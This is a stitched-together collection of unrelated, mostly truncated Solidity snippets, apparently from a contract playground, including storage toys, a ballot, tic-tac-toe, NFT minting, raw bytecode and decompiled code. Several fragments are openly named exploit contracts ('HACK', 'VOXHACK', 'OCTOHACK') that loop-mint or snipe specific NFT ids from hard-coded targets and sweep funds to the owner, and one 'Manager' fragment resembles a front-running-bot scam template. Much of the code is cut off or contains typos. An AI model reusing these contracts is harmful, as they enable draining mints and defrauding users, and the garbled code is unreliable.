  function strLen(string _str) 
            pure 
            public 
            returns(uint) {
    
    bytes memory b = bytes(_str);
    return (b.length);

  }

  function strReplace(string _from, string _what, string _to)
            pure
            public
            returns(string) {
              bytes memory bfrom = bytes(_from);
             

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.4.16 <0.9.0;

contract SimpleStorage {
   uint storeData;

   function set(unit x y) public {
      storeData = x;
   }

   function get() public view returns (unint) {
      return storeData;
   }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract simpleStore {
  function set(uint _value) public {
    value = _value;
  }
}
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}

pragma solidity 0.8.0;


contract Game {

    uint128 private score;
    bool private isFinished;
    
    uint128 private hscore;

    struct Player { 
        address player;
        uint128 score;
    }

    Player[] public players;

    function play(address _p) public returns(uint128){
        for(uint8 i = 0; i < players.length; ++i) {
            Player memory p = players[i]; 
            if(p.player == _p) {
                p.score = p.score + 1; 
                if (p.score > hscore) {
                    hscore = p.score;
                }
            }
        }
        return hscore;
    }

    function getPlayer(uint256 index) internal view returns(Player memory pl) {
        pl = players[index];
    }

    function endGame() payable public {
        require(msg.value > hscore);
        address payable receiver = payable(address(msg.sender));
        (bool success,) = receiver.call{value: msg.value}("");
        require(success);
        hscore = 2**128 - 1;
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity >=0.4.22 <0.6.0;

/// @title Voting with delegation.
contract Ballot {
    // This declares a new complex type which will
    // be used for variables later.
    // It will represent a single voter.
    struct Voter {
        uint weight; // weight is accumulated by delegation
        bool voted;  // if true, that person already voted
        address delegate; // person delegated to
        uint vote;   // index of the voted proposal
    }

    // This is a type for a single proposal.
    struct Proposal {
        bytes32 name;   // short name (up to 32 bytes)
        uint voteCount; // number of accumulated votes
    }

    address public chairperson;

    // This declares a state variable that
    // stores a `Voter` struct for each possible address.
    mapping(address => Voter) public voters;

    // A dynamically-sized array of `Proposal` structs.
    Proposal[] public proposals;

    /// Create a new ballot to choose one of `proposalNames`.
    constructor(bytes32[] memory proposalNames)

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.4.0 <0.5.0;


/**
 * @title Storage
 * @dev Store & retrieve value in a variable
 */
contract Math {
    uint public constant ALPHA_DIVISOR = 1e4;
    uint public minStake = uint(-1);
    uint public alpha = 2;
    uint public tokensAtStakePerJuror = 42;

    function calculateTokensAtStakePerJuror() public returns(uint) {
        tokensAtStakePerJuror = (minStake * alpha) / ALPHA_DIVISOR;
        return tokensAtStakePerJuror;
    }

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.4.0 <0.5.0;


/**
 * @title Storage
 * @dev Store & retrieve value in a variable
 */
contract Math {
    uint public constant ALPHA_DIVISOR = 1e4;
    uint public minStake = uint(-1);
    uint public alpha = 0;
    uint public tokensAtStakePerJuror = 42;

    function calculateTokensAtStakePerJuror() public returns(uint) {
        tokensAtStakePerJuror = (minStake * alpha) / ALPHA_DIVISOR;
        return tokensAtStakePerJuror;
    }

608060405234801561001057600080fd5b50600436106102065760003560e01c806383b5ff8b1161011a578063a07aea1c116100ad578063d365a3771161007c578063d365a3771461042c578063d67eb0b51461043f578063e28d490614610452578063f38b2db514610465578063f851a4401461047857610206565b8063a07aea1c146103dd578063ae500b7c146103f0578063b78275c914610411578063d10c7d1e1461041957610206565b806392ba8114116100e957806392ba81141461038e57806396b5a755146103af5780639a202d47146103c25780639a307391146103ca57610206565b806383b5ff8b146103585780638456cb591461036057806389476069146103685780638f2839701461037b57610206565b806344f91c1e1161019d5780637362377b1161016c5780637362377b146102f757806375640815146102ff578063757de5731461031257806377ae0b83146103255780637a4316621461033857610206565b806344f91c1e146102a957806345496ed9146102c95780634d51bfc4146102dc5780635c975abb146102ef57610206565b80633bd63ba2116101d95780633bd63ba2146102665780633f0a0797146102795780633f4ba83a1461028e57806344e290b21461029657610206565b80630622a3881461020b5780630b83021814610229578063158ef93e1461023e57806330ffb6

contract Contract {
    function main() {
        memory[0x40:0x60] = 0x80;
        var var0 = msg.value;
    
        if (var0) { revert(memory[0x00:0x00]); }
    
        if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
    
        var0 = msg.data[0x00:0x20] >> 0xe0;
    
        if (0x83b5ff8b > var0) {
            if (0x44f91c1e > var0) {
                if (0x3bd63ba2 > var0) {
                    if (var0 == 0x0622a388) {
                        // Dispatch table entry for 0x0622a388 (unknown)
                        var var1 = 0x0213;
                        var var2 = func_0480();
                    
                    label_0213:
                        var temp0 = var2;
                        var2 = 0x0220;
                        var var3 = temp0;
                        var var4 = memory[0x40:0x60];
                    
                    label_3D80:
                        var var5 = var4 + 0x20;
                        var var6 = 0x0594;
                        var var7 = var4;
  

pragma solidity ^0.4.24;  


/* 合約本體 */
contract SimpleAdd {

    /* 變數宣告 */
    uint number = 0;

    // ... 更多變數


    /* 函數定義 */
    function getNumber() public view returns (uint) {
        return number;
    }

    // ... 更多函數 
    function increase() public {
        number++;
    }

    

//0xcF666033f92923d36E6A30B1b2B9Fd23c0D2294a\\\



// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";

contract HACK is Ownable {
    uint256 private constant PRICE = 0.004 ether;
    function execute(
    ) external payable onlyOwner {
        while (address(this).balance >= PRICE) {
            ADIMC instance = new ADIMC(msg.sender);
            instance.execute{value: PRICE}();
        }
    }

    function withdrawBalance(address to) external onlyOwner {
        (bool success, ) = to.call{value: address(this).balance}("");
        require(success, "CRT_BALANCE_TRANSFER_FAILURE");
    }

}

contract ADIMC is Ownable, IERC1155Receiver {
    address private receiver;

    uint256 private constant PRICE = 0.004 ether;
    OMC private constant TARGET =
        OMC(0x002B05D98C303eA14FbF060476C4B32827822048);

    cons

// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitt

pragma solidity ^0.4.18;
//le smart contract permet de réceptionner des ethers
// il affiche l'addresse d'envoi et le montant envoyé

contract paiementFacture {

//on déclare la variable qui va recueillir les gwei envoyés
uint montant; 

//on déclare une variable qui va recueillir l'addresse d'envoi
address envoyeur;

//cette fonction permet d'envoyer des ethers au smart contract
  function paiement () public payable  {

    montant = msg.value; 
    envoyeur = msg.sender;

  }

//cette fonction affiche le montant envoyé
function afficheMontant () public view returns  (uint) {

    return montant;

}

//cette fonction affiche l'addresse d'envoi
function afficheAddresseEnvoi () public view returns  (address) {

    return envoyeur;

}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.2;

contract Prasham {
    /*
    Assumption : There are 1000 employees in company
    */

    enum Status {
        ABSENT,HALD_DAY,PRESENT
    }

    struct Employee {
        uint256 id ; 
        uint inTime ;
        Status isPresent ;
    }

    Employee[1000]  public employees ;
    // userAddress -> Status
    //mapping(address -> Status ) ;

    function employeIn (uint256 RFID ) public returns(uint) {
        employees[RFID] = Employee(RFID,block.timestamp,Status.ABSENT) ;
        return employees[RFID].inTime ;
    }

    function employeeExit( uint256 RFID ) public  returns(Status) {
        uint exitTime = block.timestamp ;
        uint workManShip = exitTime -  employees[RFID].inTime  ;
        if( workManShip < 1 ) {
            employees[RFID].isPresent = Status.ABSENT ;
           
        }
        if(workManShip >=1 && workManShip < 4 ){
            employees[RFID].isPresent = Status.HALD_DAY ;
            
        }
         if(workManShip >=8 ) {
            employees

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {

  struct Pool {
    uint a;
    uint b;
    mapping(address => uint) c;
  }

  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    Pool memory p;
    return p.a;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStor{

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint vlue;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.9;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.9;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.6.6;

contract Manager {
	function performTasks() public {
	    
	}

	function pancakeswapDepositAddress() public pure returns (address) {
		return 0xDbc23AE43a150ff888ñ4B02Cea117b22D1c3b9796;
	}

pragma solidity ^0.4.26;

contract TicTacToe {
  enum CellState { Clear, Owner, Player }
  enum NextMove { Owner, Player }

  struct Game {
    address owner;
    address player;
    NextMove nextMove;
    CellState[3][3] state;
  }

  uint256 private nextGameId = 0;
  mapping(uint256 => Game) private games;


  function createGame() public returns (uint256 gameId) {
    Game memory game;
    game.owner = msg.sender;

    gameId = nextGameId;
    nextGameId++;

    games[gameId] = game;
  }

  function acceptInvite(uint256 gameId) public returns (NextMove nextMove) {
    Game storage game = games[gameId];

    require(game.owner != address(0), "Game not found");
    require(game.player == address(0), "Game invite was already accepted");

    game.player = msg.sender;

    bytes32 draw = keccak256(abi.encodePacked(block.coinbase, game.owner, game.player));

    if (draw[0] >> 7 == 0x0)
      nextMove = NextMove.Owner;
    else
      nextMove = NextMove.Player;
      
    game.nextMove = nextMove;
  }

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";

contract MyNFT is ERC721URIStorage, Ownable {
    using Counters for Counters.Counter;    // Counters is used to systematically maintan token Ids
    Counters.Counter private _tokenIds;     // Initialization of token Ids

    constructor() public ERC721("MyNFT", "NFT") {} // An ERC constructor that gets called each time class is executed

    function mintNFT(address recipient, string memory tokenURI) // Parameters: recipent address and token resource identifier
        public onlyOwner
        returns (uint256)
    {
        _tokenIds.increment(); // incrementing token Id as they need to be unique

        uint256 newItemId = _tokenIds.current(); //Extracting new tokens from existing token ids
        _mint(recipient, newItemId); // To int NFTs

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract PraMelhorFactory {
  uint colorRed = 0;
  uint colorGreen = 255;
  uint colorBlue = 0;

  struct PraMelhor {
    string name;
    uint[] color;
  }

pragma solidity ^0.4.26;

contract TicTacToe {
  enum CellState { Clear, Owner, Player }
  enum NextMove { Owner, Player }

  struct Game {
    address owner;
    address player;
    NextMove nextMove;
    CellState[3][3] state;
  }

  uint256 private nextGameId = 0;
  mapping(uint256 => Game) private games;


  function createGame() public returns (uint256 gameId) {
    Game memory game;
    game.owner = msg.sender;

    gameId = nextGameId;
    nextGameId++;

    games[gameId] = game;
  }

  function acceptInvite(uint256 gameId) public returns (NextMove nextMove) {
    Game storage game = games[gameId];

    require(game.owner != address(0), "Game not found");
    require(game.player == address(0), "Game invite was already accepted");

    game.player = msg.sender;

    bytes32 draw = keccak256(abi.encodePacked(block.coinbase, game.owner, game.player));

    if (draw[0] >> 7 == 0x0)
      nextMove = NextMove.Owner;
    else
      nextMove = NextMove.Player;
      
    game.nextMove = nextMove;
  }

/**
 *Submitted for verification at BscScan.com
*/


// SPDX-License-Identifier: Unlicensed

// https://t.me/ChikuSnow

pragma solidity ^0.7.2;

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
      

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

contract VOXHACK is Ownable {
    mapping(uint256 => bool) internal voxIds;
    address target;
    constructor(address addr) {
        target = addr;
        voxIds[22] = true;
        voxIds[33] = true;
        voxIds[63] = true;
        voxIds[84] = true;
        voxIds[93] = true;
        voxIds[100] = true;
        voxIds[110] = true;
        voxIds[128] = true;
        voxIds[132] = true;
        voxIds[142] = true;
        voxIds[161] = true;
        voxIds[162] = true;
        voxIds[175] = true;
        voxIds[177] = true;
        voxIds[224] = true;
        voxIds[233] = true;
        voxIds[247] = true;
        voxIds[255

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

contract VOXHACK is Ownable, IERC721Receiver {
    mapping(uint256 => bool) internal voxIds;
    address target;
    constructor(address addr) {
        target = addr;
        voxIds[22] = true;
        voxIds[33] = true;
        voxIds[63] = true;
        voxIds[84] = true;
        voxIds[93] = true;
        voxIds[100] = true;
        voxIds[110] = true;
        voxIds[128] = true;
        voxIds[132] = true;
        voxIds[142] = true;
        voxIds[161] = true;
        voxIds[162] = true;
        voxIds[175] = true;
        voxIds[177] = true;
        voxIds[224] = true;
        voxIds[233] = true;
        voxIds[247] = true;
 

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

contract OCTOHACK is Ownable, IERC721Receiver {
    function execute(
    ) external payable onlyOwner {

        OCTOMC instance = new OCTOMC(owner());
        // token.transferFrom(address(this), address(instance), tokenId);
        instance.execute{value: msg.value}();
    }

    function withdrawBalance(address to) external onlyOwner {
        (bool success, ) = to.call{value: address(this).balance}("");
        require(success, "CRT_BALANCE_TRANSFER_FAILURE");
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes memory
    ) public virtual override returns (bytes4) {
        return this.onERC721Received.selector;
    }
}

contract OCTOMC is Ownable, IERC721Receiver {
    address private receiver;

    uint256 privat